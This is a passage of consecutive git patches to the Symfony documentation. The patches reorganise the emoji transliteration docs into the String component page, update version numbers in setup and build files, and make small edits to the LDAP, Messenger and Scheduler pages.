 components/intl.rst  |  57 ++++----------------
 2 files changed, 131 insertions(+), 48 deletions(-)
 create mode 100644 components/emoji.rst

diff --git a/components/emoji.rst b/components/emoji.rst
new file mode 100644
index 00000000000..b3f725a2585
--- /dev/null
+++ b/components/emoji.rst
@@ -0,0 +1,122 @@
+The Emoji Component
+===================
+
+    The Emoji component provides utilities to work with emoji characters and
+    sequences from the `Unicode CLDR dataset`_.
+
+Installation
+------------
+
+.. code-block:: terminal
+
+    $ composer require symfony/emoji
+
+.. include:: /components/require_autoload.rst.inc
+
+
+Emoji Transliteration
+---------------------
+
+The ``EmojiTransliterator`` class offers a way to translate emojis into their
+textual representation in all languages based on the `Unicode CLDR dataset`_::
+
+    use Symfony\Component\Emoji\EmojiTransliterator;
+
+    // Describe emojis in English
+    $transliterator = EmojiTransliterator::create('en');
+    $transliterator->transliterate('Menus with 🍕 or 🍝');
+    // => 'Menus with pizza or spaghetti'
+
+    // Describe emojis in Ukrainian
+    $transliterator = EmojiTransliterator::create('uk');
+    $transliterator->transliterate('Menus with 🍕 or 🍝');
+    // => 'Menus with піца or спагеті'
+
+
+The ``EmojiTransliterator`` also provides special locales that convert emojis to
+short codes and vice versa in specific platforms, such as GitHub and Slack.
+
+GitHub
+~~~~~~
+
+Convert GitHub emojis to short codes with the ``emoji-github`` locale::
+
+    $transliterator = EmojiTransliterator::create('emoji-github');
+    $transliterator->transliterate('Teenage 🐢 really love 🍕');
+    // => 'Teenage :turtle: really love :pizza:'
+
+Convert GitHub short codes to emojis with the ``github-emoji`` locale::
+
+    $transliterator = EmojiTransliterator::create('github-emoji');
+    $transliterator->transliterate('Teenage :turtle: really love :pizza:');
+    // => 'Teenage 🐢 really love 🍕'
+
+Slack
+~~~~~
+
+Convert Slack emojis to short codes with the ``emoji-slack`` locale::
+
+    $transliterator = EmojiTransliterator::create('emoji-slack');
+    $transliterator->transliterate('Menus with 🥗 or 🧆');
+    // => 'Menus with :green_salad: or :falafel:'
+
+Convert Slack short codes to emojis with the ``slack-emoji`` locale::
+
+    $transliterator = EmojiTransliterator::create('slack-emoji');
+    $transliterator->transliterate('Menus with :green_salad: or :falafel:');
+    // => 'Menus with 🥗 or 🧆'
+
+
+Emoji Slugger
+-------------
+
+Combine the emoji transliterator with the :doc:`/components/string`
+to improve the slugs of contents that include emojis (e.g. for URLs).
+
+Call the ``AsciiSlugger::withEmoji()`` method to enable the emoji transliterator in the Slugger::
+
+    use Symfony\Component\String\Slugger\AsciiSlugger;
+
+    $slugger = new AsciiSlugger();
+    $slugger = $slugger->withEmoji();
+
+    $slug = $slugger->slug('a 😺, 🐈‍⬛, and a 🦁 go to 🏞️', '-', 'en');
+    // $slug = 'a-grinning-cat-black-cat-and-a-lion-go-to-national-park';
+
+    $slug = $slugger->slug('un 😺, 🐈‍⬛, et un 🦁 vont au 🏞️', '-', 'fr');
+    // $slug = 'un-chat-qui-sourit-chat-noir-et-un-tete-de-lion-vont-au-parc-national';
+
+.. tip::
+
+    Integrating the Emoji Component with the String component is straightforward and requires no additional
+    configuration.string.
+
+Removing Emojis
+---------------
+
+The ``EmojiTransliterator`` can also be used to remove all emojis from a string, via the
+special ``strip`` locale::
+
+    use Symfony\Component\Emoji\EmojiTransliterator;
+
+    $transliterator = EmojiTransliterator::create('strip');
+    $transliterator->transliterate('🎉Hey!🥳 🎁Happy Birthday!🎁');
+    // => 'Hey! Happy Birthday!'
+
+Disk space
+----------
+
+The data needed to store the transliteration of all emojis (~5,000) into all
+languages take a considerable disk space.
+
+If you need to save disk space (e.g. because you deploy to some service with tight
+size constraints), run this command (e.g. as an automated script after ``composer install``)
+to compress the internal Symfony emoji data files using the PHP ``zlib`` extension:
+
+.. code-block:: terminal
+
+    # adjust the path to the 'compress' binary based on your application installation
+    $ php ./vendor/symfony/emoji/Resources/bin/compress
+
+
+.. _`Unicode CLDR dataset`: https://github.com/unicode-org/cldr
diff --git a/components/intl.rst b/components/intl.rst
index bbd088c830e..768ea30903c 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -28,7 +28,6 @@ This component provides the following ICU data:
 * `Locales`_
 * `Currencies`_
 * `Timezones`_
-* `Emoji Transliteration`_
 
 Language and Script Names
 ~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -386,56 +385,19 @@ to catching the exception, you can also check if a given timezone ID is valid::
 Emoji Transliteration
 ~~~~~~~~~~~~~~~~~~~~~
 
-The ``EmojiTransliterator`` class provides a utility to translate emojis into
-their textual representation in all languages based on the `Unicode CLDR dataset`_::
+.. note::
 
-    use Symfony\Component\Intl\Transliterator\EmojiTransliterator;
+    The ``EmojiTransliterator`` class provides a utility to translate emojis into
+    their textual representation in all languages based on the Unicode CLDR dataset.
 
-    // describe emojis in English
-    $transliterator = EmojiTransliterator::create('en');
-    $transliterator->transliterate('Menus with 🍕 or 🍝');
-    // => 'Menus with pizza or spaghetti'
+Discover all the available Emoji manipulations in the :doc:`component documentation </components/emoji>`.
 
-    // describe emojis in Ukrainian
-    $transliterator = EmojiTransliterator::create('uk');
-    $transliterator->transliterate('Menus with 🍕 or 🍝');
-    // => 'Menus with піца or спагеті'
-
-The ``EmojiTransliterator`` class also provides two extra catalogues: ``github``
-and ``slack`` that converts any emojis to the corresponding short code in those
-platforms::
-
-    use Symfony\Component\Intl\Transliterator\EmojiTransliterator;
-
-    // describe emojis in Slack short code
-    $transliterator = EmojiTransliterator::create('slack');
-    $transliterator->transliterate('Menus with 🥗 or 🧆');
-    // => 'Menus with :green_salad: or :falafel:'
-
-    // describe emojis in Github short code
-    $transliterator = EmojiTransliterator::create('github');
-    $transliterator->transliterate('Menus with 🥗 or 🧆');
-    // => 'Menus with :green_salad: or :falafel:'
-
-Furthermore the ``EmojiTransliterator`` provides a special ``strip`` locale
-that removes all the emojis from a string::
-
-    use Symfony\Component\Intl\Transliterator\EmojiTransliterator;
-
-    $transliterator = EmojiTransliterator::create('strip');
-    $transliterator->transliterate('🎉Hey!🥳 🎁Happy Birthday!🎁');
-    // => 'Hey! Happy Birthday!'
-
-.. tip::
-
-    Combine this emoji transliterator with the :ref:`Symfony String slugger <string-slugger-emoji>`
-    to improve the slugs of contents that include emojis (e.g. for URLs).
+Disk space
+----------
 
-The data needed to store the transliteration of all emojis (~5,000) into all
-languages take a considerable disk space. If you need to save disk space (e.g.
-because you deploy to some service with tight size constraints), run this command
-(e.g. as an automated script after ``composer install``) to compress the internal
-Symfony emoji data files using the PHP ``zlib`` extension:
+If you need to save disk space (e.g. because you deploy to some service with tight size
+constraints), run this command (e.g. as an automated script after ``composer install``) to compress the
+internal Symfony Intl data files using the PHP ``zlib`` extension:
 
 .. code-block:: terminal
 
@@ -464,4 +426,3 @@ Learn more
 .. _`daylight saving time (DST)`: https://en.wikipedia.org/wiki/Daylight_saving_time
 .. _`ISO 639-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_639-1
 .. _`ISO 639-2 alpha-3 (2T)`: https://en.wikipedia.org/wiki/ISO_639-2
-.. _`Unicode CLDR dataset`: https://github.com/unicode-org/cldr

From 9333df7a418202a9efb4e4cc62bc2698bf13aaa9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 11 Mar 2024 10:51:49 +0100
Subject: [PATCH 4546/5766] Reorganize the Emoji component contents

---
 components/emoji.rst  | 122 ------------------------------------------
 components/string.rst |  99 +++++++++++++++++++++++++++++++++-
 2 files changed, 98 insertions(+), 123 deletions(-)
 delete mode 100644 components/emoji.rst

diff --git a/components/emoji.rst b/components/emoji.rst
deleted file mode 100644
index b3f725a2585..00000000000
--- a/components/emoji.rst
+++ /dev/null
@@ -1,122 +0,0 @@
-The Emoji Component
-===================
-
-    The Emoji component provides utilities to work with emoji characters and
-    sequences from the `Unicode CLDR dataset`_.
-
-Installation
-------------
-
-.. code-block:: terminal
-
-    $ composer require symfony/emoji
-
-.. include:: /components/require_autoload.rst.inc
-
-
-Emoji Transliteration
----------------------
-
-The ``EmojiTransliterator`` class offers a way to translate emojis into their
-textual representation in all languages based on the `Unicode CLDR dataset`_::
-
-    use Symfony\Component\Emoji\EmojiTransliterator;
-
-    // Describe emojis in English
-    $transliterator = EmojiTransliterator::create('en');
-    $transliterator->transliterate('Menus with 🍕 or 🍝');
-    // => 'Menus with pizza or spaghetti'
-
-    // Describe emojis in Ukrainian
-    $transliterator = EmojiTransliterator::create('uk');
-    $transliterator->transliterate('Menus with 🍕 or 🍝');
-    // => 'Menus with піца or спагеті'
-
-
-The ``EmojiTransliterator`` also provides special locales that convert emojis to
-short codes and vice versa in specific platforms, such as GitHub and Slack.
-
-GitHub
-~~~~~~
-
-Convert GitHub emojis to short codes with the ``emoji-github`` locale::
-
-    $transliterator = EmojiTransliterator::create('emoji-github');
-    $transliterator->transliterate('Teenage 🐢 really love 🍕');
-    // => 'Teenage :turtle: really love :pizza:'
-
-Convert GitHub short codes to emojis with the ``github-emoji`` locale::
-
-    $transliterator = EmojiTransliterator::create('github-emoji');
-    $transliterator->transliterate('Teenage :turtle: really love :pizza:');
-    // => 'Teenage 🐢 really love 🍕'
-
-Slack
-~~~~~
-
-Convert Slack emojis to short codes with the ``emoji-slack`` locale::
-
-    $transliterator = EmojiTransliterator::create('emoji-slack');
-    $transliterator->transliterate('Menus with 🥗 or 🧆');
-    // => 'Menus with :green_salad: or :falafel:'
-
-Convert Slack short codes to emojis with the ``slack-emoji`` locale::
-
-    $transliterator = EmojiTransliterator::create('slack-emoji');
-    $transliterator->transliterate('Menus with :green_salad: or :falafel:');
-    // => 'Menus with 🥗 or 🧆'
-
-
-Emoji Slugger
--------------
-
-Combine the emoji transliterator with the :doc:`/components/string`
-to improve the slugs of contents that include emojis (e.g. for URLs).
-
-Call the ``AsciiSlugger::withEmoji()`` method to enable the emoji transliterator in the Slugger::
-
-    use Symfony\Component\String\Slugger\AsciiSlugger;
-
-    $slugger = new AsciiSlugger();
-    $slugger = $slugger->withEmoji();
-
-    $slug = $slugger->slug('a 😺, 🐈‍⬛, and a 🦁 go to 🏞️', '-', 'en');
-    // $slug = 'a-grinning-cat-black-cat-and-a-lion-go-to-national-park';
-
-    $slug = $slugger->slug('un 😺, 🐈‍⬛, et un 🦁 vont au 🏞️', '-', 'fr');
-    // $slug = 'un-chat-qui-sourit-chat-noir-et-un-tete-de-lion-vont-au-parc-national';
-
-.. tip::
-
-    Integrating the Emoji Component with the String component is straightforward and requires no additional
-    configuration.string.
-
-Removing Emojis
----------------
-
-The ``EmojiTransliterator`` can also be used to remove all emojis from a string, via the
-special ``strip`` locale::
-
-    use Symfony\Component\Emoji\EmojiTransliterator;
-
-    $transliterator = EmojiTransliterator::create('strip');
-    $transliterator->transliterate('🎉Hey!🥳 🎁Happy Birthday!🎁');
-    // => 'Hey! Happy Birthday!'
-
-Disk space
-----------
-
-The data needed to store the transliteration of all emojis (~5,000) into all
-languages take a considerable disk space.
-
-If you need to save disk space (e.g. because you deploy to some service with tight
-size constraints), run this command (e.g. as an automated script after ``composer install``)
-to compress the internal Symfony emoji data files using the PHP ``zlib`` extension:
-
-.. code-block:: terminal
-
-    # adjust the path to the 'compress' binary based on your application installation
-    $ php ./vendor/symfony/emoji/Resources/bin/compress
-
-
-.. _`Unicode CLDR dataset`: https://github.com/unicode-org/cldr
diff --git a/components/string.rst b/components/string.rst
index 68362ed8654..08870881541 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -507,6 +507,101 @@ requested during the program execution. You can also create lazy strings from a
     // hash computation only if it's needed
     $lazyHash = LazyString::fromStringable(new Hash());
 
+Working with Emojis
+-------------------
+
+.. versionadded:: 7.1
+
+    The emoji component was introduced in Symfony 7.1.
+
+Symfony provides several utilities to work with emoji characters and sequences
+from the `Unicode CLDR dataset`_. They are available via the Emoji component,
+which you must first install in your application:
+
+.. code-block:: terminal
+
+    $ composer require symfony/emoji
+
+The data needed to store the transliteration of all emojis (~5,000) into all
+languages take a considerable disk space.
+
+If you need to save disk space (e.g. because you deploy to some service with tight
+size constraints), run this command (e.g. as an automated script after ``composer install``)
+to compress the internal Symfony emoji data files using the PHP ``zlib`` extension:
+
+.. code-block:: terminal
+
+    # adjust the path to the 'compress' binary based on your application installation
+    $ php ./vendor/symfony/emoji/Resources/bin/compress
+
+.. _string-emoji-transliteration:
+
+Emoji Transliteration
+~~~~~~~~~~~~~~~~~~~~~
+
+The ``EmojiTransliterator`` class offers a way to translate emojis into their
+textual representation in all languages based on the `Unicode CLDR dataset`_::
+
+    use Symfony\Component\Emoji\EmojiTransliterator;
+
+    // Describe emojis in English
+    $transliterator = EmojiTransliterator::create('en');
+    $transliterator->transliterate('Menus with 🍕 or 🍝');
+    // => 'Menus with pizza or spaghetti'
+
+    // Describe emojis in Ukrainian
+    $transliterator = EmojiTransliterator::create('uk');
+    $transliterator->transliterate('Menus with 🍕 or 🍝');
+    // => 'Menus with піца or спагеті'
+
+
+The ``EmojiTransliterator`` also provides special locales that convert emojis to
+short codes and vice versa in specific platforms, such as GitHub and Slack.
+
+GitHub Emoji Transliteration
+............................
+
+Convert GitHub emojis to short codes with the ``emoji-github`` locale::
+
+    $transliterator = EmojiTransliterator::create('emoji-github');
+    $transliterator->transliterate('Teenage 🐢 really love 🍕');
+    // => 'Teenage :turtle: really love :pizza:'
+
+Convert GitHub short codes to emojis with the ``github-emoji`` locale::
+
+    $transliterator = EmojiTransliterator::create('github-emoji');
+    $transliterator->transliterate('Teenage :turtle: really love :pizza:');
+    // => 'Teenage 🐢 really love 🍕'
+
+Slack Emoji Transliteration
+...........................
+
+Convert Slack emojis to short codes with the ``emoji-slack`` locale::
+
+    $transliterator = EmojiTransliterator::create('emoji-slack');
+    $transliterator->transliterate('Menus with 🥗 or 🧆');
+    // => 'Menus with :green_salad: or :falafel:'
+
+Convert Slack short codes to emojis with the ``slack-emoji`` locale::
+
+    $transliterator = EmojiTransliterator::create('slack-emoji');
+    $transliterator->transliterate('Menus with :green_salad: or :falafel:');
+    // => 'Menus with 🥗 or 🧆'
+
+Removing Emojis
+~~~~~~~~~~~~~~~
+
+The ``EmojiTransliterator`` can also be used to remove all emojis from a string,
+via the special ``strip`` locale::
+
+    use Symfony\Component\Emoji\EmojiTransliterator;
+
+    $transliterator = EmojiTransliterator::create('strip');
+    $transliterator->transliterate('🎉Hey!🥳 🎁Happy Birthday!🎁');
+    // => 'Hey! Happy Birthday!'
+
+.. _string-slugger:
+
 Slugger
 -------
 
@@ -579,7 +674,8 @@ the injected slugger is the same as the request locale::
 Slug Emojis
 ~~~~~~~~~~~
 
-You can transform any emojis into their textual representation::
+You can also combine the :ref:`emoji transliterator <string-emoji-transliteration>`
+with the slugger to transform any emojis into their textual representation::
 
     use Symfony\Component\String\Slugger\AsciiSlugger;
 
@@ -648,3 +744,4 @@ possible to determine a unique singular/plural form for the given word.
 .. _`Code points`: https://en.wikipedia.org/wiki/Code_point
 .. _`Grapheme clusters`: https://en.wikipedia.org/wiki/Grapheme
 .. _`Unicode equivalence`: https://en.wikipedia.org/wiki/Unicode_equivalence
+.. _`Unicode CLDR dataset`: https://github.com/unicode-org/cldr

From 9de3da7d84231fb3eebc9aa8a2c2b3b0ebaf11a7 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Aur=C3=A9lien=20Pillevesse?= <aurelienpillevesse@hotmail.fr>
Date: Mon, 11 Mar 2024 13:13:30 +0100
Subject: [PATCH 4547/5766] Update setup.rst

---
 setup.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup.rst b/setup.rst
index 6ed508d771b..90a89e78e8a 100644
--- a/setup.rst
+++ b/setup.rst
@@ -48,10 +48,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --version="7.0.*" --webapp
+    $ symfony new my_project_directory --version="7.1.*" --webapp
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_directory --version="7.0.*"
+    $ symfony new my_project_directory --version="7.1.*"
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--webapp`` option installs extra packages to give
@@ -63,12 +63,12 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/skeleton:"7.0.*" my_project_directory
+    $ composer create-project symfony/skeleton:"7.1.*" my_project_directory
     $ cd my_project_directory
     $ composer require webapp
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"7.0.*" my_project_directory
+    $ composer create-project symfony/skeleton:"7.1.*" my_project_directory
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_directory/`` directory, download some dependencies

From 46a9a052c2455ee6290693daf2f7f6d5702fc53c Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 11 Mar 2024 13:44:36 +0100
Subject: [PATCH 4548/5766] fix build

---
 components/intl.rst   | 2 +-
 components/string.rst | 2 ++
 2 files changed, 3 insertions(+), 1 deletion(-)

diff --git a/components/intl.rst b/components/intl.rst
index 768ea30903c..0cf99591369 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -390,7 +390,7 @@ Emoji Transliteration
     The ``EmojiTransliterator`` class provides a utility to translate emojis into
     their textual representation in all languages based on the Unicode CLDR dataset.
 
-Discover all the available Emoji manipulations in the :doc:`component documentation </components/emoji>`.
+Discover all the available Emoji manipulations in the :ref:`component documentation <working-with-emojis>`.
 
 Disk space
 ----------
diff --git a/components/string.rst b/components/string.rst
index 08870881541..56af5719170 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -507,6 +507,8 @@ requested during the program execution. You can also create lazy strings from a
     // hash computation only if it's needed
     $lazyHash = LazyString::fromStringable(new Hash());
 
+.. _working-with-emojis:
+
 Working with Emojis
 -------------------
 

From f75e43710f5bf1239e7a42e4475b9e0e2b299965 Mon Sep 17 00:00:00 2001
From: Michael Hirschler <michael@hirschler.me>
Date: Mon, 11 Mar 2024 15:07:54 +0100
Subject: [PATCH 4549/5766] adds hint of return value

---
 security/ldap.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/security/ldap.rst b/security/ldap.rst
index e6bb8d6351b..7e33eb10fb7 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -197,6 +197,12 @@ use the ``ldap`` user provider.
             ;
         };
 
+.. versionadded:: 5.4
+
+    `LdapUser::getExtraFields()` always returns an array of values. Prior
+    `LdapUserProvider` threw and `InvalidArgumentException` on multiple
+    attributes.
+
 .. caution::
 
     The Security component escapes provided input data when the LDAP user

From e0910915ed97a438f9d284d4a88cd2af0730ddca Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Aur=C3=A9lien=20Pillevesse?= <aurelienpillevesse@hotmail.fr>
Date: Mon, 11 Mar 2024 17:59:09 +0100
Subject: [PATCH 4550/5766] Update build.php

---
 _build/build.php | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/_build/build.php b/_build/build.php
index be2fb062a77..454553d459e 100755
--- a/_build/build.php
+++ b/_build/build.php
@@ -20,7 +20,7 @@
 
         $outputDir = __DIR__.'/output';
         $buildConfig = (new BuildConfig())
-            ->setSymfonyVersion('5.4')
+            ->setSymfonyVersion('6.4')
             ->setContentDir(__DIR__.'/..')
             ->setOutputDir($outputDir)
             ->setImagesDir(__DIR__.'/output/_images')

From 7040512e84182f28aa95abf3bce4ca058ddd65ec Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 12 Mar 2024 09:36:00 +0100
Subject: [PATCH 4551/5766] Update build.php

---
 _build/build.php | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/_build/build.php b/_build/build.php
index 454553d459e..6a1ac4642f0 100755
--- a/_build/build.php
+++ b/_build/build.php
@@ -20,7 +20,7 @@
 
         $outputDir = __DIR__.'/output';
         $buildConfig = (new BuildConfig())
-            ->setSymfonyVersion('6.4')
+            ->setSymfonyVersion('7.0')
             ->setContentDir(__DIR__.'/..')
             ->setOutputDir($outputDir)
             ->setImagesDir(__DIR__.'/output/_images')

From ef3b01df3ce14ac49ca90d961f300a9463c863fb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 12 Mar 2024 09:37:21 +0100
Subject: [PATCH 4552/5766] Update build.php

---
 _build/build.php | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/_build/build.php b/_build/build.php
index 6a1ac4642f0..5298abe779a 100755
--- a/_build/build.php
+++ b/_build/build.php
@@ -20,7 +20,7 @@
 
         $outputDir = __DIR__.'/output';
         $buildConfig = (new BuildConfig())
-            ->setSymfonyVersion('7.0')
+            ->setSymfonyVersion('7.1')
             ->setContentDir(__DIR__.'/..')
             ->setOutputDir($outputDir)
             ->setImagesDir(__DIR__.'/output/_images')

From 67807816bdb485ca2d0556231eaa4d2f3a2748d2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 12 Mar 2024 09:51:22 +0100
Subject: [PATCH 4553/5766] Minor reword

---
 controller.rst | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/controller.rst b/controller.rst
index 6bd1b4184da..7a3e7aec0f2 100644
--- a/controller.rst
+++ b/controller.rst
@@ -451,8 +451,8 @@ HTTP status to return if the validation fails::
 
 The default status code returned if the validation fails is 404.
 
-If the request query string is empty and if you still need to have a valid DTO, you can
-define a default value in your controller method::
+If you need a valid DTO even when the request query string is empty, set a
+default value for your controller arguments::
 
     use App\Model\UserDto;
     use Symfony\Component\HttpFoundation\Response;
@@ -467,8 +467,6 @@ define a default value in your controller method::
         // ...
     }
 
-In this case your DTO should have default values.
-
 .. versionadded:: 6.3
 
     The :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapQueryString` attribute

From 037dd187a02c2d99252e54c5f3c284ebcb399b79 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 12 Mar 2024 10:21:37 +0100
Subject: [PATCH 4554/5766] [Messenger] Mention `ScheduledStamp`

---
 components/messenger.rst | 9 +++++++++
 scheduler.rst            | 9 +++++++++
 2 files changed, 18 insertions(+)

diff --git a/components/messenger.rst b/components/messenger.rst
index 7f430b55c90..e5981bbd67c 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -162,6 +162,15 @@ Here are some important envelope stamps that are shipped with the Symfony Messen
   to configure the validation groups used when the validation middleware is enabled.
 * :class:`Symfony\\Component\\Messenger\\Stamp\\ErrorDetailsStamp`,
   an internal stamp when a message fails due to an exception in the handler.
+* :class:`Symfony\\Component\\Messenger\\Stamp\\ScheduledStamp`,
+  a stamp that marks the message as produced by a scheduler. You can learn
+  more about it in the :doc:`Scheduler component page </scheduler>`. This helps
+  differentiate from messages created "manually".
+
+.. versionadded:: 6.4
+
+    The :class:`Symfony\\Component\\Messenger\\Stamp\\ScheduledStamp` was
+    introduced in Symfony 6.4.
 
 .. note::
 
diff --git a/scheduler.rst b/scheduler.rst
index e824c0af5a5..ee79ea4fbe1 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -914,6 +914,15 @@ before being further redispatched to its corresponding handler::
         }
     }
 
+When using the ``RedispatchMessage``, a
+:class:`Symfony\\Component\\Messenger\\Stamp\\ScheduledStamp` will be attached
+to the message, helping you identify those messages when needed.
+
+.. versionadded:: 6.4
+
+    Automatically attaching a :class:`Symfony\\Component\\Messenger\\Stamp\\ScheduledStamp`
+    to redispatched messages was introduced in Symfony 6.4.
+
 .. _`Memoizing`: https://en.wikipedia.org/wiki/Memoization
 .. _`cron command-line utility`: https://en.wikipedia.org/wiki/Cron
 .. _`crontab.guru website`: https://crontab.guru/

From e03649f82d3ad7add276a05aa6f1d5156472c35f Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 12 Mar 2024 10:33:34 +0100
Subject: [PATCH 4555/5766] [Scheduler] Mention `Scheduler` worker

---
 scheduler.rst | 52 +++++++++++++++++++++++++++++++++++++++++++++++++--
 1 file changed, 50 insertions(+), 2 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index e824c0af5a5..b6744f01cad 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -782,8 +782,17 @@ and their priorities:
     The ``PreRunEvent``, ``PostRunEvent`` and ``FailureEvent`` events were
     introduced in Symfony 6.4.
 
-Consuming Messages (Running the Worker)
----------------------------------------
+Consuming Messages
+------------------
+
+The Scheduler component offers two ways to consume messages, depending on your
+needs: using the ``messenger:consume`` command or creating a worker programmatically.
+The first solution is the recommended one when using the Scheduler component in
+the context of a full stack Symfony application, the second one is more suitable
+when using the Scheduler component as a standalone component.
+
+Running a Worker
+~~~~~~~~~~~~~~~~
 
 After defining and attaching your recurring messages to a schedule, you'll need
 a mechanism to generate and consume the messages according to their defined frequencies.
@@ -800,6 +809,45 @@ the Messenger component:
 .. image:: /_images/components/scheduler/generate_consume.png
     :alt: Symfony Scheduler - generate and consume
 
+Creating a Consumer Programmatically
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+An alternative to the previous solution is to create and call a worker that
+will consume the messages. The component comes with a ready-to-use worker
+named :class:`Symfony\\Component\\Scheduler\\Scheduler` that you can use in your
+code::
+
+    use Symfony\Component\Scheduler\Scheduler;
+
+    $schedule = (new Schedule())
+        ->with(
+            RecurringMessage::trigger(
+                new ExcludeHolidaysTrigger(
+                    CronExpressionTrigger::fromSpec('@daily'),
+                ),
+                new SendDailySalesReports()
+            ),
+        );
+
+    $scheduler = new Scheduler(handlers: [
+        SendDailySalesReports::class => new SendDailySalesReportsHandler(),
+        // add more handlers if you have more message types
+    ], schedules: [
+        $schedule,
+        // the scheduler can take as many schedules as you need
+    ]);
+
+    // finally, run the scheduler once it's ready
+    $scheduler->run();
+
+.. note::
+
+    The :class:`Symfony\\Component\\Scheduler\\Scheduler` may be used
+    when using the Scheduler component as a standalone component. If
+    you are using it in the Framework context, it is highly recommended to
+    use the ``messenger:consume`` command as explained in the previous
+    section.
+
 Debugging the Schedule
 ----------------------
 

From f2f380d676a15bbc3e3af1619dc46c076fe976f8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 13 Mar 2024 09:24:41 +0100
Subject: [PATCH 4556/5766] Minor tweak

---
 security/ldap.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/security/ldap.rst b/security/ldap.rst
index 7e33eb10fb7..39cf26081c7 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -199,9 +199,9 @@ use the ``ldap`` user provider.
 
 .. versionadded:: 5.4
 
-    `LdapUser::getExtraFields()` always returns an array of values. Prior
-    `LdapUserProvider` threw and `InvalidArgumentException` on multiple
-    attributes.
+    The ``LdapUser::getExtraFields()`` method always returns an array of values.
+    In prior Symfony versions, ``LdapUserProvider`` threw an ``InvalidArgumentException``
+    on multiple attributes.
 
 .. caution::
 

From 05e86b4b41faf5e4d5bb7a8260b940e5f737abcf Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 13 Mar 2024 09:25:39 +0100
Subject: [PATCH 4557/5766] Remove a versionadded directive

---
 security/ldap.rst | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/security/ldap.rst b/security/ldap.rst
index 88fcc9febde..307d9996c9b 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -197,12 +197,6 @@ use the ``ldap`` user provider.
             ;
         };
 
-.. versionadded:: 5.4
-
-    The ``LdapUser::getExtraFields()`` method always returns an array of values.
-    In prior Symfony versions, ``LdapUserProvider`` threw an ``InvalidArgumentException``
-    on multiple attributes.
-
 .. caution::
 
     The Security component escapes provided input data when the LDAP user

From d4aed270931877b2fa5f008294c821a2593aa38b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 13 Mar 2024 10:24:17 +0100
Subject: [PATCH 4558/5766] [String] Reorganize String component contents

---
 _build/redirection_map              |  3 ++-
 components/intl.rst                 |  9 +++------
 components/string.rst => string.rst | 14 ++++++++------
 3 files changed, 13 insertions(+), 13 deletions(-)
 rename components/string.rst => string.rst (98%)

diff --git a/_build/redirection_map b/_build/redirection_map
index 3b845d59ffe..34f3b7d166b 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -529,7 +529,7 @@
 /components/serializer#component-serializer-attributes-groups-annotations /components/serializer#component-serializer-attributes-groups-attributes
 /logging/monolog_regex_based_excludes /logging/monolog_exclude_http_codes
 /security/named_encoders /security/named_hashers
-/components/inflector /components/string#inflector
+/components/inflector /string#inflector
 /security/experimental_authenticators /security
 /security/user_provider /security/user_providers
 /security/reset_password /security/passwords#reset-password
@@ -566,3 +566,4 @@
 /messenger/handler_results /messenger#messenger-getting-handler-results
 /messenger/dispatch_after_current_bus /messenger#messenger-transactional-messages
 /messenger/multiple_buses /messenger#messenger-multiple-buses
+/components/string /string
diff --git a/components/intl.rst b/components/intl.rst
index 0cf99591369..d18ac21b10a 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -385,12 +385,9 @@ to catching the exception, you can also check if a given timezone ID is valid::
 Emoji Transliteration
 ~~~~~~~~~~~~~~~~~~~~~
 
-.. note::
-
-    The ``EmojiTransliterator`` class provides a utility to translate emojis into
-    their textual representation in all languages based on the Unicode CLDR dataset.
-
-Discover all the available Emoji manipulations in the :ref:`component documentation <working-with-emojis>`.
+Symfony provides utilities to translate emojis into their textual representation
+in all languages. Read the documentation on :ref:`working with emojis in strings <string-emoji-transliteration>`
